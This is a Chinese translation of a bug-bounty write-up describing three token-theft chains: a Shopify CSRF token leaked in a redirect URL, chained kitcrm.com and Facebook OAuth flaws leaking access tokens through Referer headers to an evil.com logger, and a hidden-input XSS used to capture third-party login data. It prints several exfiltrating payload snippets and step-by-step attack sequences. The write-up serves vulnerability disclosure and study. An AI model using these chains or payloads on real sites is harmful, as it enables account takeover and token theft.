看我如何利用开发人员所犯的小错误来盗取各种tokens
实际上,在日常的开发过程中,开发人员很有可能会犯各种各样貌似“无伤大雅”的小错误,单独一个这样的小错误可能并不能搞什么事情,但如果将这些错误串起来形成一个漏洞链,那么后果可就严重了。在这篇文章中,我将跟大家交流一下如何利用开发人员所犯下的各种错误来窃取敏感的Token。
1.通过GoogleAnalytics窃取CSRF token
当我在apps.shopiify.com上进行一些简单的随机测试时,我随机访问到了一个app页面,然后点击了“Write a review”(写评论)按钮。由于当时我并没有登录自己的账号,因此网站将我重定向到了登录页面,完成登录之后我又被重定向到了刚才那个应用的介绍页面。没错,一切貌似都很正常。但是有一个不正常的地方,那就是我所得到的重定向链接中包含了下面这个GET参数:
authenticity_token=[CSRF_TOKEN]
这就很完美了!
首先,我知道Shopify允许用户在应用描述中添加富文本信息,于是我就觉得应该可以在这里添加一张图片(图片托管在我的服务器中)并从数据包的referer头中获取到token,或者添加一条链接然后欺骗用户去点击它。
不出所料,这果然行不通,因为网站只允许使用以下标签:
<a><b> <blockquote> <h2> <h3> <i> <li><ol> <p> <ul>
如果网站允许加载外部图片的话,我就可以通过下面这种方法来添加一张外部图片然后记录referrer头的数据
<img src=//myserver/log.php>
但很不幸这种方法在这里行不通。除此之外,这里也不允许使用标签,可能是服务器出错了吧。不过也无所谓,反正我也不打算通过这个标签来窃取token,因为这种方法所需要的用户交互太多了。
我已经将该漏洞通过HackerOne上报给了Shopify,感兴趣的同学可以查看相关的漏洞报告。
2.通过各种小漏洞窃取Facebook的访问令牌
对于这种类型的漏洞,我所能找出了例子已经数不胜数了,其中的一个我已经在HackerOne上披露了相关细节,感兴趣的同学可以查阅一下,也许你可以从中了解到这种漏洞的运行机制。
在此之前,我已经在Facebook上找到了很多影响很小或者根本没有影响的安全漏洞,但如果我们将这些漏洞全部串起来形成一个漏洞链,那么我们将有可能窃取到Facebook提供给kitcrm.com的Facebook用户访问令牌(当前用户)。
a.在kitcrm.com中,用户通过shopify账号完成注册,此时他们商店中的产品将会出现在Priority Products区域中。
b.当用户尝试编辑一款Priority Products时,提交的请求中将包含产品图片的URL地址,其中url以POST参数的形式出现。
c.用户可以随意设置产品图片,比如说,用户可以将产品图片(url)设为http://evil.com/,而系统将会接受修改并将其作为产品图片的url。
d.不会对认证令牌的有效性进行验证,所以网站的登录节点则存在一个CSRF漏洞(其实也没多大影响)。
e.kitcrm.com的用户可以通过访问https://www.kitcrm.com/users/auth/shopify?shop=zh5409.myshopify.com来完成自动验证,访问之后用户将会被重定向到https://zh5409.myshopify.com/admin/oauth/authorize?client_id=1333a1b83ccdf7a7…..,接下来用户又会被重定向回kitcrm.com并完成登录验证。
f.Kitcrm的Facebook认证应用的redirect_uri配置将允许重定向到下面这种形式的地址:
https://www.kitcrm.com/<ANYTHING>
现在将我刚才所说的东西串联起来,我们就能够窃取到用户的Facebook访问令牌了:
- 攻击者注册一个shopify商店,然后用它来注册一个kitcrm.com账号;
- 注册成功之后,将他的Priority Product产品图片url修改为https://evil.com/log_token.php;
- 接下来,想办法欺骗用户访问一个特殊制作的HTML页面;
- 通过CSRF将目标用户登录进攻击者的商店;
- 通过CSRF将目标用户登录进kitcrm.com;
- 将目标用户重定向至https://www.facebook.com/v2.7/dialog/oauth?client_id=372033192897621&redirect_uri=https%3A%2F%2Fwww.kitcrm.com%2Fseller/onboarding/1&response_type....,这条链接又会将他重定向回https://www.kitcrm.com/seller/onboarding/1?code=[fb_token]
- 当用户从Facebook重定向到kitcrm.com之后,系统会向https://evil.com/log_token.php发送一个请求,而返回的referrer头重则包含了我们所要的东西;
- 现在,攻击者就可以将得到的token保存在自己的后台服务器中,然后用它来登录目标用户的Facebook账号了。
PoC代码
Steal.html
log_token.php
3.SillyXSS与账号接管
注:首先我要声明,这是一个非公开的测试项目,因此我不会在这里提到任何有关厂商的内容。
什么?你没听说过Silly XSS?好吧…在我看来,SillyXSS指的仍然是一个XSS漏洞,但这个漏洞只能作用于过时的浏览器中;不过还有一种定义,即指的是那种需要大量用户交互才可以利用的XSS漏洞。
这一次测试过程中出现的XSS存在于一个隐藏的标签中,所以我打算通过下面这种方法注入我的payload:
<input type="hidden" name="foo" value="[XSS]">
但标签的“<”却被网站替换掉了(str_replace($payload,’<’ ,’’)),所以这种方法不可行。
Portswigger上的一位网友曾写过一篇关于“隐藏域中的XSS漏洞“的文章,感兴趣的同学可以参考一下【传送门】。总结之后发现,我们可以使用,当用户按下ALT+SHIFT+X之后便会触发onclick事件,但这样不仅需要大量的用户交互(Silly XSS),而且也很可能拿不到高额的漏洞奖励。
所以我还是得靠自己,我得想办法设计一种新的方法来利用这种隐藏域中的XSS漏洞。比如说下面这种方法:
但这样还是不行,因为浏览器无法给出类型为hidden的input。所以我得把type属性的值修改为除了“hidden”之外的其他值。例如:
x"type=text onmouseover=alert(1) x
但浏览器会忽略我所添加的这种多重属性,并只会接受第一个属性值。
当时我在寻找XSS漏洞利用的方法时所测试的其中一个地方是x” type=imagesrc=http://aaaa.com x,而这种参数形式可以向[http://aaaa.com](http://aaaa.com)
发送一个请求,而且type类型仍然是“hidden”!!但是当我用Firefox测试同样的内容时,浏览器却没有发出请求,所以我的第一反应就是将该问题上报给Google,但随后我便发现这个漏洞已经有人报告过了,不过Google对此却不以为然。
综上所述,我们可以通过目标站点来请求任何外部资源,而此时网站支持用户通过第三方服务(例如微信)来完成登录的话,那么我所要做的就是将redirect_uri
参数设置为[https://vulnerable/path/to/xss/payload](https://vulnerable/path/to/xss/payload)
,当用户通过第三方服务完成了网站登录之后,他将会被重定向到[https://vulnerable/path/to/xss/payload](https://vulnerable/path/to/xss/payload)
,而我在payload中注入的HTML会将我们所要的数据从(微信)后台返回到我的服务器中,接下来我就可以用这些数据来登录目标用户的账号了。
结束语
如果有什么不懂的地方,欢迎大家通过Twitter与我联系(@Zombiehelp54)。
- 【设计模式】—— 适配器模式Adapter
- 【设计模式】—— 单例模式Singleton
- 【Spring实战】—— 3 使用facotry-method创建单例Bean总结
- JS面向对象高级特性
- 图解闭包
- 【web必知必会】——图解HTTP(上)
- 【web必知必会】—— 图解HTTP(下)
- 【Spring实战】—— 14 传统的JDBC实现的DAO插入和读取
- 【AngularJS】—— 4 表达式
- 【AngularJS】—— 5 表单
- 【AngularJS】—— 1 初识AngularJs
- 【AngularJS】—— 2 初识AngularJs(续)
- 【AngularJS】—— 3 我的第一个AngularJS小程序
- 【Spring实战】—— 2 构造注入
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- flutter编写精美的登录页面
- Flutter实现App功能引导页
- Flutter底部不规则导航的实现过程
- Flutter实现用视频背景的登录页的示例代码
- Flutter实现可循环轮播图效果
- Android判断登录情况
- linux尝试登录失败后锁定用户账户的两种方法
- Linux内存泄漏检测shell脚本
- 详解Linux系统中网卡MAC地址克隆方法
- linux下日志定时轮询的流程详解
- Vim中查找替换及正则表达式的使用详解
- CentOS 7下部署php7.1和开启MySQL扩展的方法教程
- Ubuntu系统下用Crontab命令定时执行PHP文件详解
- CentOS7 LNMP+phpmyadmin环境搭建 第三篇phpmyadmin安装
- Linux有限状态机FSM的理解与实现